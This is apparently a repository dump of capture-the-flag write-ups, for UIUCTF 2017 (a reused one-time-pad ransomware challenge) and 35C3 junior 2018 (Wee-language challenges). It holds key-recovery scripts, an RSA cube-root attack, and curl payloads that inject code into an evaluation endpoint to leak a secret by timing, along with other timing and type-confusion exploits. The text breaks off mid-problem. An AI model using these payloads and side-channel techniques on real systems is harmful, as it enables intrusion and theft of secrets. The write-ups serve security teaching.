├── 2017 └── UIUCTF │ ├── README.md │ ├── backtrack.py │ ├── decrypt.py │ └── xref.zip ├── 2018 └── 35C3-junior │ ├── .README.md.swp │ ├── .weeterpreter.ts.swp │ ├── README.md │ ├── db_secret.py │ ├── devnull.py │ ├── flags.png │ ├── linear-server.py │ ├── linear-surveillance.pcap │ ├── linear.py │ ├── logged_in.py │ ├── mcdonald.py │ ├── note.src.tgz │ ├── note1.png │ ├── note2.png │ ├── note3.png │ ├── note4.png │ ├── note5.png │ ├── server.py │ ├── ultra_secret.tar │ ├── ultrasecret.py │ └── weeterpreter.ts └── README.md /2017/UIUCTF/README.md: -------------------------------------------------------------------------------- 1 | # xref - 300 points 2 | 3 | * **Cryptography** 4 | 5 | ## Problem 6 | 7 | Eric was working on a reversing challenge last night when his computer was struck by ransomware! Can you decrypt enough of the files to recover the print_flag binary? 8 | 9 | ## Solution 10 | ### Reconnaissance 11 | We are given a zip archive containing a directory with some files: 12 | 13 | ``` 14 | Archive: xref.zip 15 | Length Date Time Name 16 | --------- ---------- ----- ---- 17 | 0 2017-04-18 16:01 final/ 18 | 15948 2017-04-18 16:01 final/Archive.zip.xor 19 | 561782 2017-04-18 16:01 final/bae.gif.xor 20 | 719159 2017-04-18 16:01 final/beemovie.whitespace.xor 21 | 173 2017-04-18 16:01 final/decrypt_diary.py.xor 22 | 17312 2017-04-18 16:01 final/diary.ecb.xor 23 | 18015 2017-04-18 16:01 final/fire_meme.jpg.xor 24 | 71549 2017-04-18 16:01 final/lossless_meme.png.xor 25 | 191 2017-04-18 16:01 final/motivational.txt.xor 26 | 8776 2017-04-18 16:01 final/print_flag.xor 27 | 170 2017-04-18 16:01 final/protect_diary.py.xor 28 | 993 2017-04-18 16:01 final/ransomware.py 29 | 595 2017-04-18 16:01 final/README.txt 30 | 19037 2017-04-18 16:01 final/special_meme.jpg.b64.xor 31 | 312855 2017-04-18 16:01 final/wikipedia_fair_use_sample.ogg.xor 32 | --------- ------- 33 | 1746555 15 files 34 | ``` 35 | 36 | The README file states that all of the files on the hard drive are encrypted using a "perfectly secure one-time pad", and the accompanying ransomware code is also supplied. 37 | Judging from the filename, the print_flag file should print the flag. 38 | 39 | The ransomware encrypts all of the files using the same 'one time pad'. 40 | Reusing a one time pad utterly destroys most of the secrecy that the pad provides, and we can mount a many-time-pad attack against it. 41 | 42 | To do this, we make use of the fact that the same (unknown) pad is xorred with all of the files. 43 | If we know (or guess) even one byte of one file in the directory, we can recover that byte (that is, the byte with the same offset) of *any* of the other files. 44 | 45 | Because any byte has been xorred with the key, we xor the (known or guessed) byte with the result to recover part of the key. 46 | If we xor this part of the key with any of the other files, we recover the plaintext. 47 | 48 | Ideally, we would be able to find the plain version of one of the larger files, which would immediately enable us to decrypt the print_flag file. 49 | The file names seemed to suggest it should be possible to find a copy of one of them somewhere out on the Internet. 50 | However, searching around did not yield any results. 51 | Next up: try to recover the key the hard way. 52 | 53 | ### First part: manual recovery 54 | With a quick custom script we can partly automate the process, providing operations for decrypting a file using the (partly) known key, recovering part of the key using a xorred file and its accompanying plaintext, and adding a few bytes to the key by providing a xorred file and the next few plaintext bytes: 55 | ```python 56 | #!/usr/bin/python2 57 | import sys 58 | 59 | 60 | def main(): 61 | otp = open('otp', 'rb').read() 62 | if sys.argv[1] == 'add': 63 | otpw = open('otp', 'ab') 64 | ciphertext = open(sys.argv[2], 'rb').read() 65 | add_plain = sys.argv[3] 66 | for l, r in zip(ciphertext[len(otp):], add_plain): 67 | otpw.write(chr(ord(l) ^ ord(r))) 68 | elif sys.argv[1] == 'set': 69 | otpw = open('otp', 'wb') 70 | ciphertext = open(sys.argv[2], 'rb').read() 71 | plaintext = open(sys.argv[3], 'rb').read() 72 | sys.stderr.write('{} {}\n'.format(len(ciphertext), len(plaintext))) 73 | for l, r in zip(ciphertext, plaintext): 74 | otpw.write(chr(ord(l) ^ ord(r))) 75 | else: 76 | ciphertext = open(sys.argv[1], 'rb').read() 77 | sys.stderr.write('{} {}\n'.format(len(ciphertext), len(otp))) 78 | plaintext = [ 79 | chr(ord(l) ^ ord(r)) 80 | for l, r in zip(ciphertext, otp)] 81 | sys.stdout.write(''.join(plaintext)) 82 | 83 | if __name__ == '__main__': 84 | main() 85 | ``` 86 | 87 | The first few bytes could be recovered fairly easily since the jpg and gif files have a static header. 88 | After that, some of the bytes could be manually recoveredby going back and forth between the .txt.xor and py.xor files, each time guessing some of the following bytes by looking at the text and code structure. 89 | After recovering a few words of the motivational.txt file, a Google search revealed it to contain the text of a [Twitter post](https://twitter.com/swiftonsecurity/status/530832327870779393) from the challenge author. 90 | Well, almost. 91 | The text had been altered slightly, but having a better idea of what it should look like did speed up the recovery process and easily produced the content of the python files, which could encrypt and decrypt the diary. 92 | 93 | ### Second part: automating the process 94 | The python files show that the diary has been encrypted using AES in ECB mode: 95 | ```python 96 | from Crypto.Cipher import AES 97 | c=AES.new('theymustnevrknow',AES.MODE_ECB) 98 | d=open('diary.txt','r').read() 99 | d=d+"i"*(16-len(d)%16) 100 | open('diary.ecb','wb').write(c.encrypt(d)) 101 | ``` 102 | This can be used to automate the decryption process, combined with the following file properties: 103 | - `beemovie.whitespace.xor` only contains whitespace characters: `0x20`, `0x09`, and `0x0a0d` 104 | - `special_meme.jpg.b64.xor` only contains base64 characters: `[a-zA-Z0-9+/]` 105 | - `diary.ecb.xor` contains plaintext ascii characters encrypted in 16-byte blocks 106 | So the key could be recovered using the following code: 107 | 108 | ```python 109 | #!/usr/bin/python3 110 | import string 111 | 112 | from Crypto.Cipher import AES 113 | 114 | DICT = [[0x20], [0x09], [0x0a, 0x0d]] 115 | BEE = open('beemovie.whitespace.xor', 'rb').read() 116 | B64 = open('special_meme.jpg.b64.xor', 'rb').read() 117 | DIARY = open('diary.ecb.xor', 'rb').read() 118 | B64_DICT = set(str.encode(string.ascii_letters + string.digits + '+/')) 119 | DIARY_DICT = set(str.encode(string.printable)) 120 | DIARY_DICT_STRICT = set(open('diary_d.txt', 'rb').read()) 121 | CIPHER = AES.new('theymustnevrknow', AES.MODE_ECB) 122 | OTP = open('otp', 'rb').read() 123 | 124 | 125 | def valid_diary(otp_bytes, base_pos): 126 | remainder = len(OTP) % 16 127 | otp = OTP[:len(OTP)-remainder] + otp_bytes[:16] 128 | result = bytes([ 129 | c1 ^ c2 130 | for c1, c2 in zip(DIARY, otp)]) 131 | data = CIPHER.decrypt(result) 132 | #if all([char in DIARY_DICT for char in data[-16:]]): 133 | if all([char in DIARY_DICT_STRICT for char in data[-16:]]): 134 | print(data) 135 | return True 136 | return False 137 | 138 | 139 | def valid_b64_byte(otp_byte, pos): 140 | return otp_byte ^ B64[pos] in B64_DICT 141 | 142 | 143 | def backtrack(cur_bytes, base_pos): 144 | if len(cur_bytes) >= 16: 145 | if valid_diary(cur_bytes, base_pos): 146 | yield cur_bytes 147 | return 148 | else: 149 | return 150 | 151 | for chars in DICT: 152 | valid = True 153 | new_bytes = cur_bytes 154 | for char in chars: 155 | pos = base_pos+len(new_bytes) 156 | new_bytes += (BEE[pos] ^ char).to_bytes(1, byteorder='big') 157 | if not valid_b64_byte(new_bytes[-1], pos): 158 | valid = False 159 | if valid: 160 | for result in backtrack(new_bytes, base_pos): 161 | yield result 162 | 163 | 164 | def main(): 165 | global OTP 166 | pos = 0 167 | while pos < min([len(BEE), len(B64), len(DIARY)]): 168 | remainder = len(OTP) % 16 169 | results = [ 170 | next(backtrack(OTP[len(OTP)-remainder:], len(OTP)-remainder))] 171 | OTP += results[0][remainder:] 172 | print('len otp ', len(OTP)) 173 | open('otp_calculated', 'wb').write(OTP) 174 | 175 | 176 | if __name__ == '__main__': 177 | main() 178 | ``` 179 | When some more bits of the key were decrypted this way, it was possible to extract low-res versions of some of the images. 180 | After repairing those using Imagemagick convert, and throwing them at Google image search, the original ones were revealed - all from the Twitter timeline of the challenge author. 181 | However, the images seemed to be re-encoded and thus useless for speeding up key recovery. 182 | After running the code for an hour or so, enough bytes of the key were recovered to be able to decrypt the print_flag file. 183 | 184 | ### Finally, success and some disappointment 185 | I only had a 32-bit virtual machine at the time, and the binary was 64 bits. 186 | After downloading and installing a 64-bit VM and running the binary, the key was recovered: 187 | 188 | ``` 189 | This crib drag is treacherous. 190 | flag{n0th1_saf3_i5_w0rth_th3_dr1ve} 191 | ``` 192 | 193 | Unfortunately, I did not manage to submit the flag since the CTF time limit was reached just when I had managed to install the new VM :-/ 194 | -------------------------------------------------------------------------------- /2017/UIUCTF/backtrack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import string 3 | 4 | from Crypto.Cipher import AES 5 | 6 | DICT = [[0x20], [0x09], [0x0a, 0x0d]] 7 | BEE = open('beemovie.whitespace.xor', 'rb').read() 8 | B64 = open('special_meme.jpg.b64.xor', 'rb').read() 9 | DIARY = open('diary.ecb.xor', 'rb').read() 10 | B64_DICT = set(str.encode(string.ascii_letters + string.digits + '+/')) 11 | DIARY_DICT = set(str.encode(string.printable)) 12 | DIARY_DICT_STRICT = set(open('diary_d.txt', 'rb').read()) 13 | CIPHER = AES.new('theymustnevrknow', AES.MODE_ECB) 14 | OTP = open('otp', 'rb').read() 15 | 16 | 17 | def valid_diary(otp_bytes, base_pos): 18 | remainder = len(OTP) % 16 19 | otp = OTP[:len(OTP)-remainder] + otp_bytes[:16] 20 | result = bytes([ 21 | c1 ^ c2 22 | for c1, c2 in zip(DIARY, otp)]) 23 | data = CIPHER.decrypt(result) 24 | if all([char in DIARY_DICT_STRICT for char in data[-16:]]): 25 | print(data) 26 | return True 27 | return False 28 | 29 | 30 | def valid_b64_byte(otp_byte, pos): 31 | return otp_byte ^ B64[pos] in B64_DICT 32 | 33 | 34 | def backtrack(cur_bytes, base_pos): 35 | if len(cur_bytes) >= 16: 36 | if valid_diary(cur_bytes, base_pos): 37 | yield cur_bytes 38 | return 39 | else: 40 | return 41 | 42 | for chars in DICT: 43 | valid = True 44 | new_bytes = cur_bytes 45 | for char in chars: 46 | pos = base_pos+len(new_bytes) 47 | new_bytes += (BEE[pos] ^ char).to_bytes(1, byteorder='big') 48 | if not valid_b64_byte(new_bytes[-1], pos): 49 | valid = False 50 | if valid: 51 | for result in backtrack(new_bytes, base_pos): 52 | yield result 53 | 54 | 55 | def main(): 56 | global OTP 57 | pos = 0 58 | while pos < min([len(BEE), len(B64), len(DIARY)]): 59 | remainder = len(OTP) % 16 60 | results = [ 61 | next(backtrack(OTP[len(OTP)-remainder:], len(OTP)-remainder))] 62 | OTP += results[0][remainder:] 63 | print('len otp ', len(OTP)) 64 | open('otp_calculated', 'wb').write(OTP) 65 | 66 | 67 | if __name__ == '__main__': 68 | main() 69 | -------------------------------------------------------------------------------- /2017/UIUCTF/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | import sys 3 | 4 | 5 | def main(): 6 | otp = open('otp', 'rb').read() 7 | if sys.argv[1] == 'add': 8 | otpw = open('otp', 'ab') 9 | ciphertext = open(sys.argv[2], 'rb').read() 10 | add_plain = sys.argv[3] 11 | for l, r in zip(ciphertext[len(otp):], add_plain): 12 | otpw.write(chr(ord(l) ^ ord(r))) 13 | elif sys.argv[1] == 'set': 14 | otpw = open('otp', 'wb') 15 | ciphertext = open(sys.argv[2], 'rb').read() 16 | plaintext = open(sys.argv[3], 'rb').read() 17 | sys.stderr.write('{} {}\n'.format(len(ciphertext), len(plaintext))) 18 | for l, r in zip(ciphertext, plaintext): 19 | otpw.write(chr(ord(l) ^ ord(r))) 20 | else: 21 | ciphertext = open(sys.argv[1], 'rb').read() 22 | sys.stderr.write('{} {}\n'.format(len(ciphertext), len(otp))) 23 | plaintext = [ 24 | chr(ord(l) ^ ord(r)) 25 | for l, r in zip(ciphertext, otp)] 26 | sys.stdout.write(''.join(plaintext)) 27 | 28 | 29 | if __name__ == '__main__': 30 | main() 31 | -------------------------------------------------------------------------------- /2017/UIUCTF/xref.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2017/UIUCTF/xref.zip -------------------------------------------------------------------------------- /2018/35C3-junior/.README.md.swp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/.README.md.swp -------------------------------------------------------------------------------- /2018/35C3-junior/.weeterpreter.ts.swp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/.weeterpreter.ts.swp -------------------------------------------------------------------------------- /2018/35C3-junior/README.md: -------------------------------------------------------------------------------- 1 | Wee 2 | === 3 | A lot of the challenges in the junior CTF were based on a modified platform for the Wee programming language, which had been broken in many ways 4 | 5 | Wee description 6 | --------------- 7 | 8 | Good coders should learn one new language every year. 9 | 10 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV). 11 | 12 | If you have not picked up a new challenge in 2018, you're in for a treat. 13 | 14 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. 15 | 16 | Some cool Projects can be created in Wee, like: [this](https://paperbots.io/project.html?id=URJgCh), [this](https://paperbots.io/project.html?id=kpyyrl) and [that](https://paperbots.io/project.html?id=F53thj). 17 | 18 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py. 19 | 20 | Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics [paperbot github](https://github.com/badlogic/paperbots) (mirrored up to this commit [here](https://github.com/domenukk/paperbots/)). 21 | 22 | We even added new features to this better server, like server-side Wee evaluation! 23 | 24 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. 25 | 26 | 27 | Solved Challenges 28 | ================= 29 | Below are the challenges that I personally solved: 30 | 31 | Decrypted - 80 points 32 | --------------------- 33 | 34 | * **Cryptography** 35 | 36 | # Problem 37 | 38 | Solves: 70 39 | 40 | Did you know server-side Wee will supports a variety of crypto operations in the future? How else could Wee ever catch up to other short-named languages like Go or all the Cs? Anyway it's still in testing. If you already want to take it for a spin, try /wee/encryptiontest. 41 | 42 | http://35.207.189.79/ 43 | 44 | Difficulty Estimate: Medium 45 | 46 | # Solution 47 | 48 | OK, so let's connect to this endpoint and see what it returns: 49 | 50 | ```bash 51 | $ curl http://35.207.189.79/wee/encryptiontest 52 | ``` 53 | ```json 54 | {"enc":"650802889626540392576254226480769958677174063746262298961949406725587937603370598056914641680440287141866554424868358513810586735136666559905873773370795301824775736764582520414393058823900835653671443326759384479590622850329114068561701339992264327486363426970702107667234446480134526246514585103292832378240690398119481568246551291749012927947948046185733533974179911092159848587\n"} 55 | ``` 56 | So we have an encrypted ciphertext (numeric). Let's inspect the relevant code (in [server.py](server.py): 57 | 58 | ``` 59 | record pubkey 60 | n: string 61 | e: string 62 | end 63 | 64 | var key = pubkey('951477056381671188036079180681828396446164466568923964269373812360568216940258578681673755725586138473475522188240856850626984093905399964041687626629414562063470963902807801143023140969208234239276778397171817582591827008690056789763534174119863046106813515750863733543758319811194784246845138921495556311458180478538856550842509692686396679117903040148607642710832573838027274004952072516749168425434697690016707327002989407014753735313730653189661541750880855213165937564578292464379167857778759136474173425831340306919705672933486711939333953750637729967455118475408369751602538202818190663939706886093046526104043062374288648189070207772477271879494000411582080352364098957455090381238978031676375437980396931371164061080967754225429135119036489128165414029872153856547376448552882344531325480944511714482341088742350110097372766748364926941000441524157824859511557342673524388056049358362600925172299990719998873868038194555465008036497932945812845340638853399732721987228486858193979073913761760370769609347622795498987306822413134236749607735657967667902966667996797241364688793919066445360547749193845825298342626288990158730149727398354192053692360716383851051271618559075048012800235250387837052573541157845958948856954035758915157871993646182544696043757263004887914724250286341123038686355398997399922927237477691269351791943572679717263938613148630387793458838416117454016370454288153779764863162055098229903413503857354581027436855574871814478747237999617879024407403954905986969721336803258774514397600947175650242674193496614652267158753817350136305620268076457813070726099248681642612063203170442453405051455877524709366973062774037044772079720703743828695351198984334830532193564525916901461725538418714517302390850049543856542699391339075976843028654004552169277571339017161697013373622770115406681080294994790626557117129820457988045974009530185622113951540819939983153190486345031549722007896699102268137425607039925174692583738394816628508716999668221820730737934785438568198334912127263127241407430459511422030656861043544813130287622862247904749760983465608684778389799703770877931875268858524702991767450720773677639856979930404508755100624844341829896497906824520180051038779126563860453039035779455387733056343833776802716194138072528278142786901904343407377649000988142255369860324110311816186668720584468851089864315465497405748709976389375632079690963423708940060402561050963276766635011726613211018206198125893007608417148033891841809', '3') 65 | 66 | fun encrypt(message: string, key: pubkey): string 67 | return bigModPow(strToBig(message), key.e, key.n) 68 | end 69 | ``` 70 | 71 | Notice the ciphertext is a relatively small number as compared to n, as seen in the pubkey. The exponent (3) is also small. Since the plaintext is encrypted RSA-style E = M³ (mod N) and the encrypted text size (probably) has not surpassed the size of N, we can simply compute the third-power root of the ciphertext to get the plaintext. 72 | 73 | Googled a python script for computing the kth power root of a number: 74 | ```python 75 | def iroot(k, n): 76 | hi = 1 77 | while pow(hi, k) < n: 78 | hi *= 2 79 | lo = hi / 2 80 | while hi - lo > 1: 81 | mid = (lo + hi) // 2 82 | midToK = pow(mid, k) 83 | if midToK < n: 84 | lo = mid 85 | elif n < midToK: 86 | hi = mid 87 | else: 88 | return mid 89 | if pow(hi, k) == n: 90 | return hi 91 | else: 92 | return lo 93 | ``` 94 | 95 | ```python 96 | iroot(3,650802889626540392576254226480769958677174063746262298961949406725587937603370598056914641680440287141866554424868358513810586735136666559905873773370795301824775736764582520414393058823900835653671443326759384479590622850329114068561701339992264327486363426970702107667234446480134526246514585103292832378240690398119481568246551291749012927947948046185733533974179911092159848587) 97 | 98 | 8665956223801194705910664403122110405720001050525470730432277700963464398434592579641823005644197683478657391968391208645510483L 99 | 100 | '{:x}'.format(8665956223801194705910664403122110405720001050525470730432277700963464398434592579641823005644197683478657391968391208645510483).decode('hex') 101 | 102 | '35C3_OUR_CRYPTO_IS_AS_LEGIT_AS_MOST_CRYPTO_CURRENCIES' 103 | ``` 104 | 105 | pretty\_linear - 158 points 106 | --------------------- 107 | 108 | * **Cryptography** 109 | 110 | # Problem 111 | 112 | Solves: 28 113 | 114 | The NSA gave us these packets, they said it should be just enough to break this crypto. 115 | 116 | surveillance.pcap server.py 117 | 118 | Difficulty estimate: Medium-Hard 119 | 120 | [linear-server.py](linear-server.py) 121 | [linear-surveillance.pcap](linear-surveillance.pcap) 122 | 123 | # Solution 124 | 125 | TODO 126 | 127 | ```bash 128 | for stream in `tshark -r linear-surveillance.pcap -T fields -e tcp.stream | sort -n | uniq`; do echo $stream; tshark -r linear-surveillance.pcap -Y usb -z follow,tcp,ascii,$stream >$stream.ascii; done 129 | ``` 130 | 131 | [linear.py](linear.py) 132 | 133 | 134 | /dev/null - 116 points 135 | ---------------------- 136 | 137 | * **Miscellaneous** 138 | 139 | # Problem 140 | 141 | Solves: 42 142 | 143 | We're not the first but definitely the latest to offer dev-null-as-a-service. Pretty sure we're also the first to offer Wee-piped-to-dev-null-as-a-service[WPtDNaaS]. (We don't pipe anything, but the users don't care). This service is more useful than most blockchains (old joke, we know). Anyway this novel endpoint takes input at /wee/dev/null and returns nothing. 144 | 145 | http://35.207.189.79/ 146 | 147 | Difficulty Estimate: Hard 148 | 149 | # Solution 150 | 151 | The relevant code (from [server.py](server.py): 152 | ```python 153 | @app.route("/wee/dev/null", methods=["POST"]) 154 | def dev_null(): 155 | json = request.get_json(force=True) 156 | wee = json["code"] 157 | wee = """ 158 | var DEV_NULL: string = '{}' 159 | {} 160 | """.format(DEV_NULL, wee) 161 | _ = runwee(wee) 162 | return "GONE" 163 | ``` 164 | The API endpoint will kindly evaluate any given Wee code, but it will not show any output. A variable DEV\_NULL is defined, which holds the flag. In this case we can use an approach similar to time-based blind sql injection: force a binary decision, and pause for some time when the condition holds. 165 | Looking through the Wee language, we see that we can compare single characters (not strings), get a single character from a string, and pause for a number of seconds. This is enough to apply this technique. After some fiddling around, the following request seems to work (we know the flag will start with 35C3, so the first character is a 3): 166 | ```bash 167 | curl -v http://35.207.189.79/wee/dev/null -H "Content-Type: application/json" --data '{"code": "if \"3\" == charAt(DEV_NULL,0) then pause(1000) end"}' 168 | ``` 169 | 170 | Now we can create a script that tries all characters this way and measures the response time to find the flag: 171 | [devnull](devnull.py) 172 | 173 | After a bit of a wait, the flag falls out: 174 | ``` 175 | 35C3_TH3_SUN_IS_TH3_SAM3_YOU_RE_OLDER 176 | ``` 177 | 178 | Conversion Error - 87 points 179 | ---------------------------- 180 | 181 | * **Miscellaneous** 182 | 183 | # Problem 184 | 185 | Solves: 63 186 | 187 | With assert\_string(str: string), we assert that our VM properly handles conversions. So far we never triggered the assertion and are certain it's impossible. 188 | 189 | http://35.207.189.79/ 190 | 191 | Difficulty estimate: Medium 192 | 193 | # Solution 194 | 195 | The relevant code (from [weeterpreter.ts](weeterpreter.ts)): 196 | ``` 197 | externals.addFunction( 198 | "assert_conversion", 199 | [{name: "str", type: compiler.StringType}], compiler.StringType, 200 | false, 201 | (str: string) => str.length === +str + "".length || !/^[1-9]+(\.[1-9]+)?$/.test(str) 202 | ? "Convert to Pastafarianism" : flags.CONVERSION_ERROR 203 | ) 204 | ``` 205 | Hmm, seems like there is a pattern there that specifically checks for one or more numbers, optinally followed one or more times by a dot and another number. Let's try calling the code with a string matching the pattern (using the /wee/run endpoint) and logging the result: 206 | 207 | ```bash 208 | curl http://35.207.189.79/wee/run -H "Content-Type: application/json" --data '{"code": "alert(assert_conversion(\"1.1\"))"}' 209 | ``` 210 | And voila, bingo already: 211 | ```json 212 | {"code":"alert(assert_conversion(\"1.1\"))","result":"35C3_FLOATING_POINT_PROBLEMS_I_FEEL_B4D_FOR_YOU_SON\n"} 213 | ``` 214 | I didn't spend time to figure out exactly why it worked. It might have something to do with floating point approximation. 215 | 216 | 217 | Equality Error - 88 points 218 | -------------------------- 219 | 220 | * **Miscellaneous** 221 | 222 | # Problem 223 | 224 | Solves: 62 225 | 226 | At assert\_equals(num: number), we've added an assert to make sure our VM properly handles equality. With only a few basic types, it's impossible to mess this one up, so the assertion has never been triggered. In case you do by accident, please report the output. 227 | 228 | http://35.207.189.79/ 229 | 230 | Difficulty estimate: Medium 231 | 232 | # Solution 233 | 234 | The relevant code (from [weeterpreter.ts](weeterpreter.ts)): 235 | ``` 236 | externals.addFunction( 237 | "assert_equals", 238 | [{name: "num", type: compiler.NumberType}], compiler.StringType, 239 | false, 240 | (num: number) => num === num 241 | ? "EQUALITY WORKS" : flags.EQUALITY_ERROR 242 | ) 243 | ``` 244 | So we have to call the assert\_equals function with something other than a number. Since Wee is statically typed, this is not trivial. 245 | However, we can try to find a function that should return a number, but cannot do that in all instances, such as the sqrt function. 246 | Since a root of a negative number does not exists, it will return NaN (I did not find out to instantiate NaN directly): 247 | ```bash 248 | curl http://35.207.189.79/wee/run -H "Content-Type: application/json" --data '{"code": "alert(assert_equals(sqrt(-1)))"}' 249 | ``` 250 | ```json 251 | {"code":"alert(assert_equals(sqrt(-1)))","result":"35C3_NANNAN_NANNAN_NANNAN_NANNAN_BATM4N\n"} 252 | ``` 253 | 254 | 255 | Number Error - 80 points 256 | ------------------------ 257 | 258 | * **Miscellaneous** 259 | 260 | # Problem 261 | 262 | Solves: 71 263 | 264 | The function assert\_number(num: number) is merely a debug function for our Wee VM (WeeEm?). It proves additions always work. Just imagine the things that could go wrong if it wouldn't! 265 | 266 | http://35.207.189.79/ 267 | 268 | Difficulty estimate: Easy - Medium 269 | 270 | # Solution 271 | 272 | The relevant code (from [weeterpreter.ts](weeterpreter.ts)): 273 | ``` 274 | externals.addFunction( 275 | "assert_number", 276 | [{name: "num", type: compiler.NumberType}], compiler.StringType, 277 | false, 278 | (num: number) => !isFinite(num) || isNaN(num) || num !== num + 1 279 | ? "NUMBERS WORK" : flags.NUMBER_ERROR 280 | ) 281 | ``` 282 | There are some sanity checks on numbers here. Let's simply try to pass a very small number to start out: 283 | ```bash 284 | curl http://35.207.189.79/wee/run -H "Content-Type: application/json" --data '{"code": "alert(assert_number(-1221122341214121212))"}' 285 | ``` 286 | Oops, already solved: 287 | ```json 288 | {"code":"alert(assert_number(-1221122341214121212))","result":"35C3_THE_AMOUNT_OF_INPRECISE_EXCEL_SH33TS\n"} 289 | ``` 290 | 291 | 292 | ultra secret - 102 points 293 | ------------------------- 294 | 295 | * **Miscellaneous** 296 | 297 | # Problem 298 | 299 | Solves: 50 300 | 301 | This flag is protected by a password stored in a highly sohpisticated chain of hashes. Can you capture it nevertheless? We are certain the password consists of lowercase alphanumerical characters only. 302 | 303 | nc 35.207.158.95 1337 304 | 305 | Source 306 | 307 | Difficulty estimate: Easy 308 | 309 | # Solution 310 | 311 | [ultrasecret.py](ultrasecret.py) 312 | ``` 313 | (20.685096740722656, '10e004c2e186b4d280fad7f36e779e0 ', b'') 314 | (20.68368148803711, '10e004c2e186b4d280fad7f36e779e1 ', b'') 315 | (20.684008836746216, '10e004c2e186b4d280fad7f36e779e2 ', b'') 316 | (20.684692859649658, '10e004c2e186b4d280fad7f36e779e3 ', b'') 317 | (20.68476915359497, '10e004c2e186b4d280fad7f36e779e4 ', b'') 318 | (20.68247151374817, '10e004c2e186b4d280fad7f36e779e5 ', b'') 319 | (20.684102773666382, '10e004c2e186b4d280fad7f36e779e6 ', b'') 320 | (20.683815956115723, '10e004c2e186b4d280fad7f36e779e7 ', b'') 321 | (20.68332600593567, '10e004c2e186b4d280fad7f36e779e8 ', b'') 322 | (20.683207273483276, '10e004c2e186b4d280fad7f36e779e9 ', b'') 323 | (20.684966325759888, '10e004c2e186b4d280fad7f36e779ea ', b'') 324 | (20.684995651245117, '10e004c2e186b4d280fad7f36e779eb ', b'') 325 | (20.684818267822266, '10e004c2e186b4d280fad7f36e779ec ', b'') 326 | (21.35000514984131, '10e004c2e186b4d280fad7f36e779ed ', b'') 327 | (20.684263706207275, '10e004c2e186b4d280fad7f36e779ee ', b'') 328 | (20.684320211410522, '10e004c2e186b4d280fad7f36e779ef ', b'') 329 | 10e004c2e186b4d280fad7f36e779ed 330 | (21.349497079849243, '10e004c2e186b4d280fad7f36e779ed0', b'') 331 | (21.350265741348267, '10e004c2e186b4d280fad7f36e779ed1', b'') 332 | (21.35055160522461, '10e004c2e186b4d280fad7f36e779ed2', b'') 333 | (21.3499972820282, '10e004c2e186b4d280fad7f36e779ed3', b'') 334 | (21.349507331848145, '10e004c2e186b4d280fad7f36e779ed4', b'35C3_timing_attacks_are_fun!_:)\n') 335 | (21.35212254524231, '10e004c2e186b4d280fad7f36e779ed5', b'') 336 | (21.352282762527466, '10e004c2e186b4d280fad7f36e779ed6', b'') 337 | (21.350053548812866, '10e004c2e186b4d280fad7f36e779ed7', b'') 338 | (21.352192640304565, '10e004c2e186b4d280fad7f36e779ed8', b'') 339 | (21.350988149642944, '10e004c2e186b4d280fad7f36e779ed9', b'') 340 | (21.35246443748474, '10e004c2e186b4d280fad7f36e779eda', b'') 341 | (21.35115146636963, '10e004c2e186b4d280fad7f36e779edb', b'') 342 | (21.350448608398438, '10e004c2e186b4d280fad7f36e779edc', b'') 343 | (21.3508939743042, '10e004c2e186b4d280fad7f36e779edd', b'') 344 | (21.35137104988098, '10e004c2e186b4d280fad7f36e779ede', b'') 345 | (21.353375911712646, '10e004c2e186b4d280fad7f36e779edf', b'') 346 | ``` 347 | 348 | 349 | Wee R Leet - 75 points 350 | ---------------------- 351 | 352 | * **Miscellaneous** 353 | 354 | # Problem 355 | 356 | Solves: 78 357 | 358 | Somebody forgot a useless assert function in the interpreter somewhere. In our agile development lifecycle somebody added the function early on to prove it's possible. Wev've only heared stories but apparently you can trigger it from Wee and it behaves differently for some "leet" input(?) What a joker. We will address this issue over the next few sprints. Hopefully it doesn't do any harm in the meantime. 359 | 360 | http://35.207.189.79/ 361 | 362 | Difficulty estimate: Easy 363 | 364 | # Solution 365 | 366 | ```bash 367 | curl http://35.207.189.79/wee/run -H "Content-Type: application/json" --data '{"code": "alert(assert_leet(4919))"}' 368 | ``` 369 | ```json 370 | {"code":"alert(assert_leet(4919))","result":"35C3_HELLO_WEE_LI77LE_WORLD\n"} 371 | ``` 372 | 373 | 374 | Wee Token - 97 points 375 | --------------------- 376 | 377 | * **Miscellaneous** 378 | 379 | # Problem 380 | 381 | Solves: 54 382 | 383 | We _need_ to make sure strings in Wee are also strings in our runtime. Apparently attackers got around this and actively exploit us! We do not know how. Calling out to haxxor1, brocrowd, kobold.io,...: if anybody can show us how they did it, please, please please submit us the token the VM will produce. We added the function assert_string(str: string) for your convenience. You might get rich - or not. It depends a bit on how we feel like and if you reach our technical support or just 1st level. Anyway: this is a call to arms and a desperate request, that, we think, is usually called Bugs-Bunny-Program... or something? Happy hacking. 384 | 385 | http://35.207.189.79/ 386 | 387 | Difficulty estimate: Easy 388 | 389 | # Solution 390 | 391 | ```bash 392 | curl http://35.207.189.79/wee/run -H "Content-Type: application/json" --data '{"code": "alert(assert_string(eval(\"\")))"}' 393 | ``` 394 | ```json 395 | {"code":"alert(assert_string(eval(\"\")))","result":"35C3_WEE_IS_TINY_AND_SO_CONFU5ED\n"} 396 | ``` 397 | 398 | 399 | DB Secret - 89 points 400 | --------------------- 401 | 402 | * **Web** 403 | 404 | # Problem 405 | 406 | Solves: 61 407 | 408 | To enable secure microservices (or whatever, we don't know yet) over Wee in the future, we created a specific DB_SECRET, only known to us. This token is super important and extremely secret, hence the name. The only way an attacker could get hold of it is to serve good booze to the admins. 